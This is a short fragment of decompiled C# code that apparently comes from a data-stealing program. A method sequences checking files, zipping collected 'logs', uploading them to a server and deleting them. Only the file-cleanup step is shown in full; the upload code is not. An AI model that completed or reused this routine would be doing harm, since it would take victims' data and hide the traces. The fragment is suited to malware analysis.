// Token: 0x06000115 RID: 277 RVA: 0x0000CE54 File Offset: 0x0000B054 public static void StratSend() { Task.Factory.StartNew(delegate() { SendToServer.CheckFiles(); }).Wait(); Task.Factory.StartNew(delegate() { SendToServer.CreateZipFromLogsRezo(); }).Wait(); Task.Factory.StartNew(delegate() { SendToServer.UploadLogs(); }).Wait(); Task.Factory.StartNew(delegate() { SendToServer.DeleteLogs(); }).Wait(); }
// Token: 0x06000117 RID: 279 RVA: 0x0000CF50 File Offset: 0x0000B150 private static void CheckFiles() { string[] directories = Directory.GetDirectories(SendToServer.path); string[] files = Directory.GetFiles(SendToServer.path); try { if (files.Length != 0) { foreach (string fileName in files) { if (new FileInfo(fileName).Length == 0L) { File.Delete(fileName); } } } if (directories.Length != 0) { foreach (string text in directories) { long num = 0L; foreach (string fileName2 in SendToServer.SafeEnumerateFiles(text, "*.*", SearchOption.AllDirectories)) { num += new FileInfo(fileName2).Length; if (num == 0L) { Directory.Delete(text, true); } } } } } catch { } }